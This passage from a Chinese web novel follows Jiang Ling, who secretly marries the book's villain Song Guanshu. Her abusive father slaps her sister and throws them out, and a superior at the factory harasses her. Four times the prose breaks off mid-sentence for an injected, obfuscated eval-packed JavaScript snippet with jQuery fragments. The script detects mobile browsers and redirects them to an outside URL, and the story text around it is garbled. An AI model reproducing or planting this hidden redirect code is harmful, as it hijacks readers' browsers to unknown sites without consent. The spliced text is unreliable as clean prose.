他掏出个写着结婚证的崭新红本本,递到姜莲面前,还极为“不经意”令谢朗看到了结婚证上的名字与照片。
确认不是伪造的公章,姜莲拿着结婚证忍不住拍妹妹的头,“姜菱,你是不是疯了,结婚怎么能不给爸妈说,还偷偷去领了证。”
姜莲气急了,下手重的很。
“哎,姐你轻一点!”
这话一出,宋观书这个正经丈夫的动作,还没谢朗这个高中同学的反应快。
挡在了姜菱身前,“莲姐,有话好好说,别打姜菱。”
宋观书:“大姐,一切都是我的错,您要是想打,就打我吧。”
姜菱没忍住翻了个白眼,虚伪。
他要是真心疼她,早就上前了,何至于在姜莲被劝住以后,才说这句话。
而姜莲不知宋观书的真面目,却对他观感极好,这青年看着文质彬彬却能挡在妹妹身前,也是个爷们。
谢朗低下头小声说:“还在厂里呢,您小点声,叫其他人听见了,对姜菱的名声不好。”
姜莲就是再傻,这时候也看出谢朗对她妹妹有意思。
姜莲是真想抽姜菱这个混账一顿,这时候却要稳住宋观书,怕谢朗方才的反应被他看出来。
毕竟姜菱已经跟他领证,再是不愿,那都是两口子,
“你别多想啊,谢朗跟姜菱是同学,他俩没什么的。”
颇有种此地无银三百两的意思,宋观书就算曾经没想过什么,听到这话也应该多想。
姜莲和谢朗都担心宋观书想多了,姜菱注意到宋观书弯起的双眸,心想这家伙要爽死了吧。
谢朗眼神黯然,却还是应和道,“对,我们只是同学。”
宋观书声音中带着满满深情:“姜菱这么好,有人喜欢她是再正常不过的事情,知道她心里只有我就够了,绝对不会多想。”
“我说得对吗,姜菱?”
正偷着翻白眼的姜菱突然被点名,她回答道:“是呗,要不然干啥只跟你领证呢。”
从姜菱口中说出的话,对谢朗的打击更大,他难过地看着地面。
有人欢喜有人愁。
谢朗不开心,宋观书却完全不同。
姜莲心里点了点头,这青年还挺通情达理。
原本更满意谢朗做她妹夫,如今心中的天平更加偏向于宋观书了。
小伙子长得是真好看,跟电影里的明星似的,说话斯斯文文,对姜菱也挺好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069183|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“小宋是咱们厂的职工吗?”姜莲问。
“是,我在技术科工作。”
谢朗:“宋哥可是恢复高考第一年就考中大学的大学生呢。”
他不无遗憾说道:“我当初也报了北城大学,不过我成绩差没考中,宋哥可厉害了。”
除了遗憾便是羡慕,似乎所有他想要的东西,宋观书都能轻易得到。
包括心仪的大学录取通知书,喜欢了很多年的女孩。
姜菱有些同情地看了这二傻子一眼,第一年恢复高考,谢朗身为高中生,自然报名了。
只不过他没考上,而抄了他志愿的宋观书却考中了。
谢朗不笨,然而宋观书是高智商天才,有这么个人处处跟谢朗比较,他肯定会有挫败感。
看完大半本书的姜菱一直搞不明白,宋观书为何处处看谢朗不顺眼。
谢朗是个阳光的人,对任何人都没有敌意,不应该是他得罪过宋观书啊。
姜莲:“小宋父母是做什么的呀?”
无论什么时候,父母的工作都是挑选对象时的重要指标。
宋观书平静说道:“我父母都已经去世。”
谢朗真是个圣父了,虽然宋观书抢了他心上人,他却帮忙说话,“宋哥很能干的。”
“是的。”
姜莲没好气的瞪了眼姜菱,是丈母娘看女婿,看宋观书越看越顺眼。
“你俩也领证了,今晚我带着你们一起回家,也得跟家里说一声。”
宋观书十分乖巧,“都听大姐的。”
他们三个是一家人,谢朗自觉多余,想要默默离开,却被姜菱叫住,“谢朗很长时间没来我们家玩了,今天家里人多热闹,一起吧。”
姜莲没忍住剜了这死丫头一眼,带着新女婿回家,把谢朗请去看什么。
“谢朗来人事处找白处长,你别添乱。”
不管姜莲的眼神有多吓人,姜菱端坐,岿然不动。
她当然知道不合适,可若是谢朗跟着一起,又外人在,姜家人即便想要发作,也得悠着点。
事后,她就会搬到职工宿舍去住。
“我,不太合适吧。”姜菱邀请,谢朗还挺想去的。
宋观书也邀请他,“一起吧,刚好人多热闹。”
既然作为姜菱丈夫的宋观书都开口了,谢朗也就不犹豫了,“那好。”
宋观书和谢朗各骑了一辆自行车,姜菱和谢朗是“夫妻”,理应让宋观书载着她。
谢朗平时没少载厂里的大姐大姨一段路,倒是习惯了。
姜莲麻利坐上谢朗的自行车后座,回头见妹妹还在磨叽,便催着她,“快着点。”
姜菱还记得昨天被摔在地上,她说,“我还是走着回去吧。”
“我既然骑了自行车,就没有让你走回去的道理。”
豁,别忘了你昨天下午的壮举。
姜菱小小的刺他一句,“不会摔下来吧。”
宋观书淡笑,“你在后面,我一定会小心,万一摔下去我给你做人肉垫子。”
姜菱昨天摔在地上啥事没有,就得益于他这个人肉垫子。
姜菱搞不懂,这人是故意秀恩爱,还是在阴阳她。
5. 第 5 章
姜莲摇了摇头,“这俩人可真是够腻歪的。”
她这是说给谢朗听得,既然小妹已经结婚,就最好能让他打消对姜菱的好感。
“第一次去你家,还是应该带着礼品上门。”
日化厂距离家属区不远,宋观书却绕去供销社,买了两瓶罐头两瓶麦乳精。
姜莲和谢朗比他们俩先一步回去,除了在学校晚自习的姜立武,姜家其他人都在家。
孙一兰看见大女儿,刚想问一句怎么突然回来了,就看到跟在他身后的谢朗了。
尽管已经过去好几年,少年成长为青年,还是能够一眼认出这是谢朗,白处长家的儿子。
这可是稀客。
有谢朗这个外人在,姜莲不能立刻跟家里人说姜菱这死孩子跟人领证了。
姜志福和姜立文父子俩赶忙请人坐下,又拿出了前些天办喜事剩下的喜糖。
姜志文掏出一支烟递给谢朗,这是来家里客人的最高礼节了。
谢朗摆摆手,“谢谢,不会。”
姜志文塞了两遍,都被谢朗拒绝了,他便自己点上了火。
姜菱从外推开门,就闻到了一股子刺鼻的烟味。
客厅内烟雾缭绕,谢朗像个小媳妇,夹在姜志福与姜立文父子中间。
“老三,你这是?”孙一兰忍不住率先开口。
昨天听说姜菱有对象,看见他身后的男青年,众人也都猜到了这人的身份。
孙一兰心中埋怨姜菱带着男朋友回家,也不知道提前跟家里说一声。
“你是小宋吧,快进来。”
姜家房子小,客厅也小,沙发上能挤下三个人已然是极限。
“不知道您二老喜欢什么,就随便买了点。”
宋观书将手里的布兜子递过去,孙一兰看见橘子罐头和麦乳精,眉眼先舒展了两分,这可都是贵重东西。
姜莲有点搞不懂自家的情况了,父母显然知道小妹有对象,但她不清楚父母知不知道他们领证了。
孙一兰按照惯例,把收到的贵重礼物放回大房间,姜莲也跟着一块进了屋。
整个小客厅,只有姜菱和宋观书是站着的。
姜菱找出两个小马扎,一个人一个,在角落坐下。
谢朗不抽烟,为了招待这位贵客,除了喜糖外,姜家父子还拿出了熟花生,请他吃。
他被姜家父子夹在中间,轮番询问大学学习经历,以及派出所的工作经历。
姜菱上前给宋观书抓了一把,“吃吧。”可怜见的,拎着一兜子礼物上门,连块糖都没混上。
宋观书有洁癖,熟花生带着壳,外皮沾着土,很脏。
就这样放到他的衣服上,他很难受。
罪魁祸首不觉哪里不对,一副求表扬的摸样。
他忍着不适,说道:“谢谢。”
谢朗要应对姜家父子的盘问,余光观察到姜菱和宋观书的互动,内心一片酸涩。
姜家父子一门心思都在人事处处长的独子身上,对于女儿带回来的对象漠不关心。
宋观书没有半分因为被冷落而生出的不满,只默默地剥花生。
姜菱注意到,一开始只当他这是想自己吃,却没想到他竟将剥好的花生递给自己。
突然产生了一种受宠若惊的感觉有木有,书中最大的反派,没事就想着搞事情给男女主添乱的反派,竟然会给他剥花生。
当然,姜菱很快就反应过来,这狗东西除了又在给自己立人设,还为了当着谢朗的面秀恩爱,真是不要脸。
不多时,主卧传来一声尖锐的声音:“什么!”
姜菱压低声音小声同身边人说,“她也知道了。”
下一秒,主卧门从内打开,孙一兰站在门口大骂:“姜菱,你是疯了吗!”
姜莲已经批评过小妹了,这时候能够替她讲话,“妈,你小点声,别让邻居听见以后笑话,对小妹的名声不好。”
姜志福和姜立文不明所以,忙问:“怎么了?”
姜志福眼神示意妻子,有客人在呢,让她悠着点。
孙一兰哼了一声,“怎么了,问你闺女去!”
妻子不回答,姜志福便看向了大女儿,是大女儿跟妻子一起在房间中嘀嘀咕咕,她肯定知道什么。
姜莲担心就这样告诉父亲,会当着客人的面闹起来,她自然不能说。
她不说,姜菱却自己说了,她握住宋观书的手,十指交扣举起来,“没错,我们在一起了。”
宋观书想躲开的,他厌恶与人肌肤相亲,然而当着这么多人的面,尤其是谢朗也在。
他神态自若地微笑,没有挣脱开。
姜立文骂她不知羞耻,“知道你俩处对象了,毕竟还没领证,就这样手牵手,害不害臊啊!”
婚前牵手在小情侣之中十分常见。
别人说姜菱不害臊,她都接受。就是姜立文说她不害臊,她不能接受,“婚前牵手算什么,还有人婚前搞出孩子呢。”
姜立文想要发火,碍于谢朗在场,只骂了她一句吃里扒外。
谢朗弱弱帮她辩解,“姜菱和宋哥是两口子,牵个手算不了什么。”
两口子?!
谢朗感觉不对劲,起身对众人歉意说道,“我家里还有事,先走一趟。”
都是姜菱的家务事,他不能再掺和了。
姜菱必然不能让他回去啊!
现在有谢朗在,让姜志福知道,当着客人的面,他总不会立刻闹起来。
姜菱挽留道:“你好容易来家一趟,总不能连顿饭都不吃,就让你回去,传出去要被人家讲我们坏话的。”
姜莲瞪了她一眼,这丫头是想干嘛啊。当着自己丈夫的面,挽留另一个男人。
姜莲在一旁打哈哈,“没事,家里要是有急事,就先回去。什么时候馋你婶子做的饭菜了,只管来家里,想吃啥就说。”
姜志福在这个家想来一言堂,三女儿未经过他的同意就跟人领了证,这明显挑战到了他作为一家之主的权威。
她犯了错误,还毫无后悔之意。
在姜菱挽留的目光中,谢朗最终还是离开了。
他离开以后,姜志福也不必再压抑着内心的暴怒,他上前一步,扬起巴掌。
“反了你这个小兔崽子,这几天过年,老子不跟你一般计较,真当老子怕了你。”
他在厂里做装卸工,力气大脾气爆,沙包一样大的拳头打在身上可不是闹着玩的。
姜家三女两儿子,只有姜立文作为长子,较少被他上手打。
三个女儿经常被她打得浑身是伤,姜莲和姜荷这两姐妹是在出嫁以后,身为家里的外人,他不再伸手打她们了。
姜菱成年,在厂里有了体面的工作,姜志福在家里不经常动手了。
姜菱这具身体,对姜志福巴掌的记忆远超其他。
她一下子躲在了宋观书的身后,既然他有心扮演恩爱丈夫,也得给他个表演的空间。
宋观书看着瘦弱,却拦住姜志福将要落下的巴掌,“有话好好说,不要动手。”
姜莲站在小两口的身前,拦着想要打人的父亲,女婿还在家里呢,怎么能动手打姜菱呢。
得罪女婿不说,以后姜菱在丈夫面前哪里还能抬起头啊。‘
第一次带着丈夫上门,就被父亲打了一顿。
事儿不是这样办的。
孙一兰伸手要把姜莲拉开:“你们都别拦,也得让她长长记性!”
姜莲搞不懂,她爸糊涂就算了,她妈应该劝一劝,却在这添乱,实在太离谱了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069184|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“妈,你就别在这添乱了。”她苦口婆心道,“您劝一劝我爸。”
“大姐,您这话说得没道理,三姐做得不对,爸教育她又有什么不对,难不成你觉得爸的做法有问题?”赵红云凉凉开口,给本就不平静的气氛又加了一把火。
家里这几个孩子,姜菱生的最好,姜志福对她最寄予厚望,希望能靠这个小女儿跟政府的大干部攀亲家,再次也得是厂领导家的孩子。
宋观书的父母双亡,而且成分不好,这个女婿他非常不满意。
姜志福明确说道,“你们的婚事我不满意,你们明天就去民政局离婚!”
哪有刚结婚就离婚的道理,姜莲说:“小宋人不错,对待三妹也好。”
父母的想法,姜莲大约知道,希望妹妹嫁到个好婆家。想要找个当干部的亲家,这是人之常情,只是小妹毕竟已经跟人领证,即便离了婚,那也是二婚,再找对象还未必能比得上宋观书。
姜志福这一巴掌没打出去本就心里窝火,右手被小女婿钳在半空中,更让他在妻儿面前失了面子。
他需得把这一巴掌打出去,才能找回面子。
“怎么跟你妈说话呢!”
姜莲急着讲话,语气不免有些着急,就让姜志福有了发作的理由。
他左手扇了过去,“啪”清脆的巴掌声响起,姜莲只觉得脸上火辣辣地疼。
孙一兰不心痛女儿,反倒冷嘲热讽:“该,都说了让你别管,非要上前添乱,惹你爸不高兴,你满意了?”
姜莲捂住脸,不可置信看向父亲,自打她成家以后,就再也没有被打过了。
她已经是三十来岁的人了,孩子都能上小学,却被父亲打了脸,疼是一方面,主要是屈辱。
见她脸上浮出巴掌印,姜菱皱起眉毛,“你是有毛病吗,大姐没有做错任何事,你凭什么打她。”
“我是她老子,我想打就打!”
孙一兰也说,“怎么跟你爸说话呢,如果不是你胡闹,你爸怎么会打你大姐!”
姜菱能感受到手下姜莲皮肤在迅速发烫,“我有什么错,现在婚姻自由,我想嫁给谁就嫁给谁。”
“你们姐妹几个从小吃穿,全靠我在厂里装货,现在长大,翅膀硬了,还敢跟我顶嘴。早知道你们长大以后不孝顺,还不如刚生下来的时候就把你们给溺死!”
一家子没有劝架的人,姜立文两口子只恨打得不够严重,站在一旁默默拱火。
姜菱垂下眼睫,平静说道,“可惜世界上没有后悔药,您现在把我们姐妹几个溺死叫做杀人,你也不想被厂里知道自己打骂老婆孩子的事情吧,要是闹起来了,咱们都别想好过。”
姜莲拽了下妹妹的袖子,让她讲话注意点,毕竟是生养了她们的父母。
姜志福是老思想,认为老婆孩子都是自己的个人财产,他想怎么打骂都是家务事,即便是厂长也不能插手。
他还是有些欺软怕硬,听她语气强硬,心里还是有点犯嘀咕的。
家里只有老大那丫头是个好孩子,老二和老三都野得很,老二能干得出来跟厂里举报他的事情。
他曾经认为老三不会,现在也说不准了。
在家里当了这么多年的独裁者,姜志福有一套独属于他的办法,把握住妻子儿女们的命脉。
一句话概括便是,赶出家门大法好。
妻子娘家早就没有她的容身之处了,离开了这间家属院,她就要流落街头。
已经成年的妻子尚且如此,更何况是他的几个孩子。
通常只要提出将他们赶出家门,不管哪个孩子都会乖乖认错。
这办法,姜志福极少使用,通常他都用物理手段解决。
姜志福暴怒道:“这里是我家,你们都给我滚!”
6. 第 6 章
姜菱心里直摇头,姜志福也真是的,这么多年都没长进。
被赶出家门,这是天大的事儿,从小养成的习惯,令姜莲早早替小妹道歉,“爸,姜菱不是故意的,您别跟她生气。”
姜菱蹬蹬蹬冲到大卧室,把原身早就已经收拾好的行李提上,看见随意扔在床上的麦乳精和橘子罐头,她略微停下脚步。
随即从姜志福两口子的卧室冲出来,一手拉着姜莲另一手拉着宋观书,离开的时候,还不忘甩下一句狠话,“走就走。”
姜志武从学校下了晚自习回家,楼道里没有灯,他深一脚浅一脚地爬上楼,看见有人幽幽站在楼梯间,吓得他以为见到了鬼。
他不敢往上走,“鬼”却下楼来找他,越走越近不说,那“鬼”长得有点眼熟。
“大姐?!”是熟人他可就不害怕了,他拍了两下胸脯,“今天是什么特殊日子啊,你咋回来了?”
也不怪他这样问,元宵节前一天姜家办喜事,姜莲回来过。
距离上一次回家,不足一周。
姜莲勉强笑了笑,没有正面回答他的问题,反而问道,“学校食堂能吃饱不?”
说着,他就要从兜里掏钱和票。
姜立武正是能吃的年纪,姜莲担心小弟吃不饱。
姜立武赶紧后退了两步,“三姐给我的零花钱还有,你那钱留着给孩子买糖吃吧。”
他愿意要三姐姜菱给的零用钱,不是因为跟三姐的关系更加亲近,而是姜菱还没成家,大姐有丈夫婆婆,不能一味贴补娘家。
况且,大姐她还有自己的孩子要养。
他看见姜菱手上拎着个大包裹,原先放在爸妈卧室的角落里,用以收纳姜菱的日常衣服。
姜立武有些不解,看这三人脸色不对劲,他跟着下了楼。
屋外寒风凛冽,姜莲艰难开口,“别送了,回去吧。”
姜立武对三姐身边的陌生男人很是好奇,然而当着对方的面,却又不方便问。
被姜立武打岔,走到楼下姜莲才想起问,“你带着行李出来,是想......”
姜菱:“我去职工宿舍住。”
姜莲突然想到了,她下午去财务室找这丫头的原因,难道她早就想到会被父亲赶出家门,所以提前跟后勤申请了职工宿舍。
可既然已经料到会发生什么,她为何不尽量避免被赶出家门呢。
本着家和万事兴的念头,姜莲劝道:“咱爸就是那么个性子,这么多年了,你还不知道他?听大姐的话,回去跟他服个软,就没事了,别跟他犟着来。”
一头雾水的姜立武总算搞清楚,他不在家的时候,爸跟姐起了冲突,他爸压制不住三姐,就搞老一套,嚷嚷着让人滚出去。
姜立武弱弱开口,“姐去宿舍住也好,总比住在家里强。”
姜莲:“这叫外人听说,多丢人的。”
姜菱揽住大姐,给姜立武摆了摆手,“哎呦我的姐,您已经嫁人了,就别操心家里这些破事。”
姜立武还想追上俩姐姐,仔细询问家里为何会闹起来,人已经走远,他只能背着挎包回了家。
家里的氛围很不好。
邻居们已经吃完了晚饭,孙一兰阴着脸在公共厨房里做饭。
姜立武回到家以后,大气都不敢喘。
姜菱离开这个家以后,他连个能说话的人都没有了。
他跟姜立文和赵红云两口子聊不来,更是不敢直接跟盛怒中的姜志福搭话。
直到躺在床上,他还是没有想明白,姜菱跟她爸为了啥事闹起来。
以及,刚才站在姜菱身侧的男青年又是哪位?
日化厂家属院周围路灯不多,散发着微弱的光晕。
姜菱从自己的包裹里掏掏掏,掏出了橘子罐头和麦乳精。
姜莲看着熟悉的物品,一时之间有些失声,“这不是......”
姜菱把俩橘子罐头塞到姜莲棉袄兜里,“带回去,给孩子吃。”
装着麦乳精的布兜被她挂到了宋观书的车把上,“带回去,自己留着吃。”
这么多年,宋观书第一次经历,带去别人家里的礼品,被原模原样地拿了出来。
姜菱她,真是一朵奇葩。
不过这个举动,还挺解气的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069185|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
姜莲点了点她的额头,声音中带着两分无奈,“爸妈肯定更生气,不会轻易原谅你了,下次做事之前要想想后果。”
她想不通今天的事情发展,本来是小妹带着对象回家给爸妈看,结果她跟小两口一起被赶了出来。
姜菱耸耸肩,正是因为想到了后果,她才会这么做。
想想姜志福孙一兰生气的摸样,她浑身轻松。
姜菱冲着宋观书点点头,“你先回家吧,我跟大姐今晚去宿舍对付一宿。”
宋观书:“两个女同志不安全,我送你们去宿舍再回去。”
自家在妹夫面前丢了这么大的人,姜莲面上无光的同时,又担心影响小妹在他心中的形象。
“小宋,让你见笑了,我爸脾气不好,但绝对不是个坏人,今后若多了解他,就能够知道,他这人最正直了。”都到了这时候,她还不忘给姜菱撑场子,“姜菱是我们家最小的女儿,我妈爸最疼她了。”
姜菱无语望天,她大姐胡说八道的能力真不一般,刚才姜志福还想要扇她,现在最疼她。
“你以后要是敢有半点对不起她,别说我爸妈,我们家三姐妹都不会放过你。”
正常情况下,这话该是姜志福和姜立文父子俩说,可现在指望不上他们,只能由姜莲开口。
对着睚眦必报的反派放狠话,不要命啦。吓得姜菱立刻捂住了大姐的嘴,她干笑两声,“我大姐跟你开玩笑呢,正是因为知道你是个好人,绝对不会欺负我,才敢跟你这样说。”
她正心中琢磨反派是否会生气,就听见黑暗中略微有些鬼魅的声音问。
“姜菱,你是害怕我吗?”
突然被叫,姜菱有一瞬间的毛骨悚然。
这人的直觉真是敏锐得可怕。
姜菱必然不能承认,她胡言乱语道,“瞎说,我爱你尚且来不及,怎么会害怕你。”
姜菱急切看到宋观书的反应,偏头去看,只看到在黑夜中格外冰冷的眼神,在与姜菱眸光相对时,他脸上重新挂上了熟悉的温和虚伪的笑。
变化来得太快,仿佛一切都是姜菱的错觉。
7. 第 7 章
姜莲有点小嫌弃,从前都没有发现,这丫头说话如此肉麻。
职工宿舍距离家属楼不远,姜菱姐妹在职工宿舍即将落锁之前进去。
厂里发的房子不大,许多人家都是几代一起挤着住。
平日里自家还能一起挤一挤,若遇上外地的亲戚朋友走亲戚,就得带着人来职工宿舍住。
说是职工宿舍,在某些方面,承担起了日化厂招待所应有的作用。
厂里职工的家属尚且能短暂住几天,更何况是本厂职工。
姜菱以家里住不下为理由,在职工宿舍暂时住上几天,等到后勤通过她的申请,她就能正式搬到宿舍里去住了。
姜莲不想顶着巴掌印回家,让丈夫和婆家人看见要回姜家闹事,她也就跟着妹妹一起住进宿舍,等明天脸上的巴掌印好了七七八八,她回家的时候不会再被注意到。
日化厂职工宿舍八人一间,房源紧张,两人被宿管塞到了个没有住满的房间。
这间宿舍许是经常有外人来住,宿舍中的女工早已习惯,照常洗漱上床。
姜莲本想着睡觉前再跟妹妹说些知心话,免得妹妹对父母心生怨怼。结果这间宿舍外人在,家丑不可外扬,她只能压下心中念头,等再找独处机会。
住进宿舍,比不得家里自由,跟五个陌生女工睡在一起,却莫名觉得有了隐私。
姜莲婆婆在销售科做科长,大小算是个小干部。
姜莲一夜未归,怕婆家人担心,带着姜菱去销售科走了一趟,告知对方她昨天晚上的行踪。
她还想跟妹妹说两句知心话,姜菱举起姜莲腕上手表,凑近看了一眼,“要迟到了,上班去,有什么事咱以后再说。”
原本姜莲起很早,按照她的时间,姐妹俩手拉手能说半小时掏心窝子的话。
时间全都被姜菱赖床了,她从水房洗漱回来,姜菱还没有从被窝里爬起来。
睡在陌生的地方,姜莲一晚上都没太睡好,故而天不亮就醒了,只是担心起床会影响同宿舍女工睡眠,一直睁着眼在床上躺着。
听着头上传来匀称的呼吸声,回想姜菱昨天还跟父母吵了架,姜莲在心中感慨,这丫头真是心大,发生了这么大的事儿,也不耽误她睡觉。
只是她作为大姐,要比家中弟妹操心得更多一点。
父母和妹妹发生矛盾,她总要从中帮着调解的。
同宿舍女工都爬起来洗漱了,姜莲总算能下床了,然而姜菱还在被窝里一动不动,睡得那叫一个香。
姜莲担心她是不是睡过去了,还伸出手探了探她的鼻息,有气儿。
睡梦中的人感受到脸上的凉气,带着鼻音撒娇道,“姐,我再睡一会。”
姜莲没办法,任由她睡了一会又一会。
虽然姐妹俩没迟到,但姜莲原计划讲知心话的时间没了。
姜菱匆匆赶到财务科,除了唐科长以外,财务科的人都齐了。
财务科共七个工人,除了喜欢喝酒的唐科长,以及爱在上班时间打毛衣的李春娇副科长外,还有个副科长叫魏明。
财务科并非大科室,员工不超过十个人,正常情况下只有一个科长和一个副科长。
魏明他是厂长的妹夫,厂办公室为了他,在财务科多设置了个副科长的职位。
李春娇主管资金,财务科两位出纳,于家凤和周迎春都由她负责。
魏明主管核算,两名核算员和一位财务科文员,都在他手下做事。
姜菱就是核算员,财务科另一位核算员是个四十多岁快要退休的男人叫陆建国,秃顶大腹,他的工位在姜菱对面。
姜菱对他的印象不太好,他衣袖上常年有着黑亮的油渍。
刚才椅子上坐下,陆建国就甩过来一沓子发票,“刚你没来,这是采购科刚送来的发票,劳烦小姜把这些发票给登记了。”
财务科的八个人挤在一个大办公室内,姜菱左侧坐着两位出纳。
只要不是厂里发工资的时间,于家凤和周迎春都挺闲的。
她俩跟副科长李春娇学习,听着收音机打毛衣。
收音机是魏明从家带来的,他当初把收音机带来时说,为丰富财务科的业余时间。
其他人都挺喜欢没工作的时候听一听收音机,靠着这台收音机,让空降进财务科当副科长的他一下子收获了好人缘。
别人尚且好命能够边听收音机边做自己的事情,姜菱就只能苦哈哈地干活。
原本应该放在魏明那里的档案柜钥匙,因为只有姜菱用,便一直仍在她的抽屉里。
唐科长不在,魏明替他去开了个会,这种事情时常发生,甚至有时候厂办会主动叫魏明去开会。
魏明开会回来时,办公室其他人已经收拾好桌面,只等中午下班就去食堂吃饭。
魏明打趣还在埋头工作的姜菱,“姜菱还在理账呢,真是上进的好同志,咱们科里的老同志得跟年轻人学习啊,学习姜菱同志的热爱工作的劲头。”
姜菱是财务科年纪最小的,也是进来最晚,资历最浅的,若非如此也不会所有苦活累活都落在她的头上。
这个时代大家都是非常有责任感,热爱荣誉,魏明把姜菱单独拉出来夸,其他人心里很不舒服。
别人也都是要面子的,顿时所有人都不太高兴。
看姜菱的目光里充满防备,仿佛她故意在领导面前努力工作,只为出尽风头。
姜菱心里烦得很,活儿没少干,结果还没得了好。
至于说多表现,在领导面前卖个好,将来升职加薪走上人生巅峰,姜菱想都不敢想。
厂里讲究论资排辈,讲究领导家的亲戚好升官。
干得好不如生得好。
陆建军笑了两声,“年轻人上进是好事,我这年纪大了,再过上两年就退休了,将来科里核算的重担就要交到小姜肩头,她多学一些知识,将来也能够带新人。”
姜菱坐在靠门的位置,进进出出的凉风吹进来,握着笔的手被冻得发红,她时而哈气搓手。
窗户下有暖气,唐科长和两位副科的办公桌靠近窗户边,一来视野好,二来冬天有暖气。
姜菱抬头看了眼办公室的挂钟,也准备收拾去吃午饭。
魏明却上前两步,来到了她身边,“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069186|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看看你做的账。”
魏明伸出手,不偏不倚要落在她手背上,姜菱轻巧地撤回手躲了过去。
他以为只是巧合,小姑娘很单纯,想不到其他方面。
魏明又伸出手,将要搭在姜菱的后背上。
姜菱在职场见惯形形色色之人,哪能看不出他的心思。
她眼中闪过一丝不耐,脸上的笑容却没消失。
“您先看账,我去接杯热水喝。”
陆建军交给她的单据,已经全部做完账了,只剩下找时间再核对一遍。
魏明看见她已经做完账了,下意识认为光凭她做不到,一定是胡乱写的。
“姜菱,这我得批评一下你,咱们做财务工作,最重要的是细致,不能瞎写一气,将来若是厂里查账发现问题,那可就是大事,即便我哥是厂长,也帮不了你。”
魏明说的是大事,财务科其余几人目光齐齐看过来。
姜菱端着搪瓷缸,还没走远,就被他教育了一通。
她似笑非笑问道:“魏科长是不相信我的能力?”
魏明必然不能承认这一点,他在下属面前向来是个好相处的领导,且他是想让姜菱感觉到对她的“偏爱”。
姜菱没有按照他的想法发挥,这让他有些苦恼。
正常情况下,他提出质疑,姜菱应该解释自证,然后他再表示百分百的信任。
打一棒子给个甜枣,再机灵的小姑娘也要唯命是从。
“怎么会呢,我当然信任你的工作能力,当初招工的时候,你其实不太满足咱们财务科的要求,你太年轻又太稚嫩,组织上希望招个体力好的小伙子,但是我觉得你这个小姑娘不错,顶着巨大的压力把你招了进来,如果不是相信你的工作能力,我又怎么会把你招进财务科呢。”
魏明满心等着姜菱的感恩戴德,却看她皱皱鼻子说道,“厂领导歧视妇女,我要去妇联告他们。魏科长劳烦你帮我作证,咱们一起去妇联,您是个正直的好人,务必跟妇联大姐实话实说,告诉他们是哪个领导歧视我们女同志!”
魏明忍不住想要扶额,他怎么都没想到,他说了那么多,姜菱从中得到的关键信息是厂领导歧视妇女。
歧视妇女的“厂领导”固然可恶,难道我英雄救美的壮举不应该被你歌颂感动吗?
魏明有点怕这姑娘了,从前没发现,这丫头虎了吧唧的。
他当然不能去妇联告状了,不愿得罪厂领导只是表象,主要原因是歧视妇女的厂领导是他杜撰出来的,经不起推敲与对峙。他本意只是想获得女下属的崇敬。
不仅他不能去,还得拦住姜菱。
魏明笑着摇摇头,一副纵容的表情,“别怪领导们总说年轻人做事不靠谱,你这个小同志也太爱上纲上线了,要是再往前数十年,那得是个到处搞串联的红小兵。”
姜菱脸上笑容不变,这人可真够阴损,老百姓对红小兵那是要敬而远之的。
他把姜菱与红小兵对比,会让姜菱被同科室的干事孤立,偏偏姜菱还不能直接指出问题。
说他骂自己,就是说那是贬义词,这可是犯了政治错误,
8. 第 8 章
姜菱十分谦虚说道,“多谢魏科长抬举,我哪有那个本事啊,上学时候老师总说我木讷,比不上班里出去闹革命的同学,我那时候就知道,我就一普通人。”
别扯些有的没的,再往前数十年的时候,姜菱还在上学,她也没有出去闹啊。
魏明脸上笑容一僵,他很喜欢给人扣帽子,不管是对手还是亲人,想要控制对方的第一步,便是让对方有把柄在他手上。
他靠着扣帽子这一招,一直无往不利,没想到这次却失了手。
他心中姜菱只是个花瓶美人,他不认为对方是变得聪明了,只当她是误打误撞。
连着几次被下了面子,他脸上没光。
虽然只是个财务科的副科长,他一直以下一任财务科科长而自居。
